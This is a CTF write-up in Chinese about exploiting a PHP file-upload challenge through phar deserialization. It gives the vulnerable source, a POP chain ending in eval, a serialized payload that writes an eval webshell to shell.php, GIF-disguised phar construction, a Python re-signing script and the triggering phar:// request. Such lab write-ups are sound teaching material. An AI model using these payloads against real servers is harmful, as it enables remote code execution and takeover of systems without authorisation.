【wp】文件上传phar反序列化
题目
文件泄露,得到两个文件:
index.php
<!DOCTYPE html>
<html>
<head>
<title>Just Upload!</title>
<meta charset="UTF-8">
<style>
.container {
display: flex;
flex-direction: row;
text-align: center;
height: 100vh;
}
.left {
flex: 1;
background-color: #f2f2f2;
padding: 20px;
}
.right {
flex: 1;
background-color: #e6e6e6;
padding: 20px;
}
</style>
</head>
<body>
<div class="container">
<div class="left">
<h1>文件探测</h1>
<hr><br>
<form action="index.php" method="get">
<label for="name">Filename:</label>
<input type="text" name="filename"><br><br>
<input type="submit" value="查询文件">
</form><br>
<?php
error_reporting(1);
include("classes.php");
if(isset($_GET['filename']))
{
file_exists($_GET['filename']);
throw new Exception("Unfinished Function!");
}
?>
</div>
<div class="right">
<h1>文件上传</h1>
<hr><br>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file"><br><br>
<input type="submit" value="上传文件">
</form><br>
<?php
$allowedExts = array("jpg", "png", "gif");
if(isset($_FILES["file"])){
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (($_FILES["file"]["size"] < 20000) && in_array($extension, $allowedExts)) {
if ($_FILES["file"]["error"] > 0) {
echo "Error:" . $_FILES["file"]["error"] . "<br>";
} else {
if (file_exists("tmp/" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
} else {
$filename = "tmp/" . md5(random_int(100000,999999).$_FILES["file"]["name"]).".".$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "文件已上传至:" . $filename;
}
}
} else {
echo "非法文件!";
}
}
?>
</div>
</div>
</body>
</html>
以及classes.php
<?php
class Base{
public $dataReader;
private $each;
private $value;
private $key;
private $query;
public $batch;
public function rewind()
{
$this->reset();
$this->next();
}
public function next()
{
if ($this->batch === null || !$this->each || $this->each && next($this->batch) === false) {
$this->batch = $this->fetchData();
reset($this->batch);
}
if ($this->each) {
$this->value = current($this->batch);
if ($this->query->indexBy !== null) {
$this->key = key($this->batch);
} elseif (key($this->batch) !== null) {
$this->key = $this->key === null ? 0 : $this->key + 1;
} else {
$this->key = null;
}
} else {
$this->value = $this->batch;
$this->key = $this->key === null ? 0 : $this->key + 1;
}
}
public function reset()
{
if($this->dataReader !== null) {
$this->dataReader->close();
}
}
public function __destruct()
{
$this->reset();
}
}
class Stream{
public $closes;
private $getMetadata;
private $getContents;
private $read;
private $isReadable;
public function isReadable()
{
return call_user_func($this->isReadable);
}
public function read($length)
{
return call_user_func($this->read, $length);
}
public function getContents()
{
return call_user_func($this->getContents);
}
public function getMetadata($key = null)
{
return call_user_func($this->getMetadata, $key);
}
public function close()
{
return call_user_func($this->closes);
}
}
class Mock{
public $mockName;
public $classCode;
public function generate(){
if(!class_exists($this->mockName, false)){
eval($this->classCode);
}
return $this->mockName;
}
public function getClassCode()
{
return $this->classCode;
}
}
我们的目标是通过文件上传入口,得到靶机的控制权限
思路
0x01 构建rop链
我们可以知道,file_exists、file_get_content等函数,可以通过phar伪协议进行反序列化的。因此,我们要做的是要先构建rop链。
在classes.php中,Mock函数中有generate函数,可以执行eval,因此,该方法为ROP链的终点;ROP链的起点则是Base类的__destruct方法,在对象销毁的时候执行。因此思路可以是这样:
Base->__destruct/Steam->close/Mock->generate。
$a = new Mock();
$a->classCode = 'file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");';
//$a->classCode = 'system("touch test.txt");';
$a->mockName = "generate";
$func = array($a, "generate");
$steam = new Stream();
$steam->closes = $func;
$steam->close();
$base= new Base();
$base->dataReader=$steam;
$payload = serialize($base);
echo $payload.PHP_EOL;
unserialize($payload);
执行后,可以在本地生成shell.php,证明ROP链可以生效。
payload为:
O:4:"Base":6:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"�Stream�getMetadata";N;s:19:"�Stream�getContents";N;s:12:"�Stream�read";N;s:18:"�Stream�isReadable";N;}s:10:"�Base�each";N;s:11:"�Base�value";N;s:9:"�Base�key";N;s:11:"�Base�query";N;s:5:"batch";N;}
0x02 构建phar文件
代码如下:
$phar = new Phar('tttt.phar');
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar->addFromString('test.txt', 'test'); //添加要压缩的文件
$phar->setMetadata($base); //将自定义meta-data存入manifest
$phar->stopBuffering();
这里将生成的tttt.phar修改为tttt.gif后上传,并不能执行。因为file_exist下一行的Exception,打断了程序的执行,并不能执行析构函数。要想办法解决。
应该叫什么
使用010editor,将tttt.phar文件中,反序列化子串的最后一个}删除后,进行重新签名。也就是最终的payload为:
O:4:"Base":6:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"StreamgetMetadata";N;s:19:"StreamgetContents";N;s:12:"Streamread";N;s:18:"StreamisReadable";N;}s:10:"Baseeach";N;s:11:"Basevalue";N;s:9:"Basekey";N;s:11:"Basequery";N;s:5:"batch";N;
这里也可以改为:
O:4:"Base":8:{s:10:"dataReader";O:6:"Stream":5:{s:6:"closes";a:2:{i:0;O:4:"Mock":2:{s:8:"mockName";s:8:"generate";s:9:"classCode";s:61:"file_put_contents("shell.php", "<?php @eval(\$_POST[123]);");";}i:1;s:8:"generate";}s:19:"StreamgetMetadata";N;s:19:"StreamgetContents";N;s:12:"Streamread";N;s:18:"StreamisReadable";N;}s:10:"Baseeach";N;s:11:"Basevalue";N;s:9:"Basekey";N;s:11:"Basequery";N;s:5:"batch";N;}
使用下面代码进行phar重新签名:
from hashlib import sha1
file = open('tttt.phar', 'rb').read() # 需要重新生成签名的phar文件
data = file[:-28] # 获取需要签名的数据
final = file[-8:] # 获取最后8位GBMB标识和签名类型
newfile = data + sha1(data).digest() + final # 数据 + 签名 + 类型 + GBMB
open('newa.phar', 'wb').write(newfile) # 写入到新的phar文件
然后在重新修改后缀为tttt.gif。
最终的payload为:
?filename=phar://./tmp/*****.gif/test.txt
可以在index.php同级目录下生成shell.php
至此,结束。
没有详细解释。权当自己记录哈。